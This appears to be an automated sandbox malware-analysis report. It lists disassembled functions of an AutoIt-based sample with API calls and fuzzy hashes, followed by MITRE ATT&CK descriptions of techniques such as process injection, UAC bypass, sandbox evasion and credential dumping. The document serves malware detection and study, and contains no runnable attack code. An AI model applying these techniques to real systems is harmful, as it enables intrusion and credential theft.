API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: 751bf723eebf0bf457625dbc6ab578cd781bc7db5acf792e18f86f6f29734ddc
Instruction ID: 2d3a69e6fbb343260bbdb5a6c42e552cdcad933bfd16d72c359573a18a8d570c
Opcode Fuzzy Hash: 751bf723eebf0bf457625dbc6ab578cd781bc7db5acf792e18f86f6f29734ddc
Instruction Fuzzy Hash: A831C3B0904354AFFB739F648855BE7BBECAB06304F00449ED2DAA7242C7785A84CB55

Function 007086AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00000000,?,?,007085CC,?,00798CC8,0000000C), ref: 00708704
GetLastError.KERNEL32(?,007085CC,?,00798CC8,0000000C), ref: 0070870E
__dosmaperr.LIBCMT ref: 00708739

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: 1f3ace2534ec1a84c40c088d125207bb0b5266ea70c8fa8b1b060441bec4b30f
Instruction ID: 692483a3ab54d14df2aed2cacb12682a3488c419d939deebaf568e5245d38394
Opcode Fuzzy Hash: 1f3ace2534ec1a84c40c088d125207bb0b5266ea70c8fa8b1b060441bec4b30f
Instruction Fuzzy Hash: 6E018232604220D6C6A06374984977F6BC54B92778F3A0319F8449B1D3DEAECC818696

Function 006E1310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 006E17F6

Strings

CALL, xrefs: 006E17C6

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 5275cbad2f65e9ea92528d525db155e3c60014caf3992c7de1bbf7d01875ccb5
Instruction ID: f6da508861ad4953d508e1535e926df3e83e9875443ea41a12b65b0f5a42479b
Opcode Fuzzy Hash: 5275cbad2f65e9ea92528d525db155e3c60014caf3992c7de1bbf7d01875ccb5
Instruction Fuzzy Hash: AE22BEB0609381DFC714DF15C480A2ABBF2BF86314F24895EF4968B3A2D735E955DB82

Function 006EF645 Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 006EF661

Part of subcall function 006DD730: GetInputState.USER32 ref: 006DD807

Sleep.KERNEL32(00000000), ref: 0072F2DE

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: InputSleepStateTimetime
String ID:
API String ID: 4149333218-0
Opcode ID: 84c4dfa654f27df2d0472460b258e09741abffb7a9532bc4848c81fc0216d997
Instruction ID: 251f2ca6329240571e384c68ff2fea94bb4bd85356c98ba98208208b2866068b
Opcode Fuzzy Hash: 84c4dfa654f27df2d0472460b258e09741abffb7a9532bc4848c81fc0216d997
Instruction Fuzzy Hash: 45F08C312403059FD354EF69E449B6AB7E9FF46760F00402AE85AC7360DBB0A800CB98

Function 006D4ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 006D4E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,006D4EDD,?,007A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 006D4E9C
Part of subcall function 006D4E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 006D4EAE
Part of subcall function 006D4E90: FreeLibrary.KERNEL32(00000000,?,?,006D4EDD,?,007A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 006D4EC0

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,007A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 006D4EFD

Part of subcall function 006D4E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00713CDE,?,007A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 006D4E62
Part of subcall function 006D4E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 006D4E74
Part of subcall function 006D4E59: FreeLibrary.KERNEL32(00000000,?,?,00713CDE,?,007A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 006D4E87

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: f4ffc94e329e448220627c2465c3127b93e3f59d35b4c151ebc9923c4491e3c1
Instruction ID: 3769fc95d8d3bfc9fa5135d166221eefd0471c2d829a7552919076a1cec7f099
Opcode Fuzzy Hash: f4ffc94e329e448220627c2465c3127b93e3f59d35b4c151ebc9923c4491e3c1
Instruction Fuzzy Hash: C511E332A10205ABCB14AF64DC06FAD77A6AF80710F10842FF542A62E1EE759E4597A8

Function 00708402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00708440

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 8f691da837c2b9d5e3b2184535bbfddf57517aa4d00098b90e1ff1029d6efb54
Instruction ID: 9e74547d622ed3aa9fcfc4ab4b14abffb69a5afdee45ef2d717e5a564d98165f
Opcode Fuzzy Hash: 8f691da837c2b9d5e3b2184535bbfddf57517aa4d00098b90e1ff1029d6efb54
Instruction Fuzzy Hash: A911487190410AEFCB05DF58E9459DE7BF4EF48300F104159F808AB352DA30EA11CBA5

Function 006FE602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: 01e240f1e917896abc80fe4516ec04b53bd0c628eb0e8dd1ba13734fee0edde0
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: 52F0F932510A1CD6C6313E698C09BBA37DA9F52335F100719F721D62E2DF75A40286AA

Function 006D4F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,007A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 006D4F6D

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 4365880593ad6d998c2b084569d1d99ab49d64b39612875fb40c24dbf75d897b
Instruction ID: b1c3d25e88725391489fe39014f31fdd2428bd8c71544a5fa44e7e858eb0eb40
Opcode Fuzzy Hash: 4365880593ad6d998c2b084569d1d99ab49d64b39612875fb40c24dbf75d897b
Instruction Fuzzy Hash: 79F01571905752CFDB389F64D490862BBE6AF54329320C96FE2EA82721CB329C44DB50

Function 00762A55 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00762A66

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: d406062c5a18d6a09720eb5f47c265cb6d9ecc59faa4a99bc1d25b9989ac3c42
Instruction ID: 8580720e34c304fe13fe5fe9ed5c9d18f60ed3b2ae0f6f270a18e51de817be48
Opcode Fuzzy Hash: d406062c5a18d6a09720eb5f47c265cb6d9ecc59faa4a99bc1d25b9989ac3c42
Instruction Fuzzy Hash: CEE0DF36350516EAD754EA70DC848FA734CEB10395B108536EC2BC2102DB7C9D9286A0

Function 006D30F2 Relevance: 1.5, APIs: 1, Instructions: 24windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000002,?), ref: 006D314E

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: a195afdd5bf777681ffa69c93f6d9ad0f651ce656a311e5346bb28bf45fecd43
Instruction ID: d3adb21b62d8b746da7a3cd7bd83a483da4649bd689ad23979700adcf4710dec
Opcode Fuzzy Hash: a195afdd5bf777681ffa69c93f6d9ad0f651ce656a311e5346bb28bf45fecd43
Instruction Fuzzy Hash: C2F0A7709003589FEB52DF24DC457E67BBCA701708F0040E9A28896281DBB45788CF46

Function 006D2DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 006D2DC4

Part of subcall function 006D6B57: _wcslen.LIBCMT ref: 006D6B6A

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: 563135c96dd1cd83bd4d3c0f82aa29a19eab532faf434f93fec962cb82b71e52
Instruction ID: 96d139bb0ee0fadfac485d8c487a3b054639c80b056c9e4d9a34d1f3b425df6e
Opcode Fuzzy Hash: 563135c96dd1cd83bd4d3c0f82aa29a19eab532faf434f93fec962cb82b71e52
Instruction Fuzzy Hash: 48E0CD72A042245BC711A258DC05FEA77EDDFC8790F044076FD09D7248D964AD808554

Function 006D2B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 006D3837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 006D3908

Part of subcall function 006DD730: GetInputState.USER32 ref: 006DD807

SetCurrentDirectoryW.KERNEL32(?), ref: 006D2B6B

Part of subcall function 006D30F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 006D314E

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectoryInputState
String ID:
API String ID: 3667716007-0
Opcode ID: 7cd19dabc9227c65fc8fd60c5a7c7be5ac52e45081a014eae2841754eda99884
Instruction ID: edef477a271c63e4342d898df42b961692f0689ed6ecfbeef44e16163f68a6d8
Opcode Fuzzy Hash: 7cd19dabc9227c65fc8fd60c5a7c7be5ac52e45081a014eae2841754eda99884
Instruction Fuzzy Hash: 5DE08621F0425406CA48BB75A8525BDB75B9BD6355F40553FF14283362CE684945426B

Function 0071039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00710704,?,?,00000000,?,00710704,00000000,0000000C), ref: 007103B7

Memory Dump Source

Source File: 0000000B.00000002.2671865788.00000000006D1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 006D0000, based on PE: true

Associated: 0000000B.00000002.2671714850.00000000006D0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.000000000076C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672360265.0000000000792000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2672670129.000000000079C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2673573460.00000000007A4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6d0000_dc933f0ab5.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4e6aa5a6ef8f924cad1b38639b3a92f54c517a509182a61a8fd547d73fc8e583
Instruction ID: d477e03677c6218b0e6dc21e58d2b071fe16924a180e92311d64b03e088f60c5
Opcode Fuzzy Hash: 4e6aa5a6ef8f924cad1b38639b3a92f54c517a509182a61a8fd547d73fc8e583
Instruction Fuzzy Hash: 57D06C3204020DBBDF028F84DD06EDA3BAAFB48714F018000FE5856020C776E821AB94

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
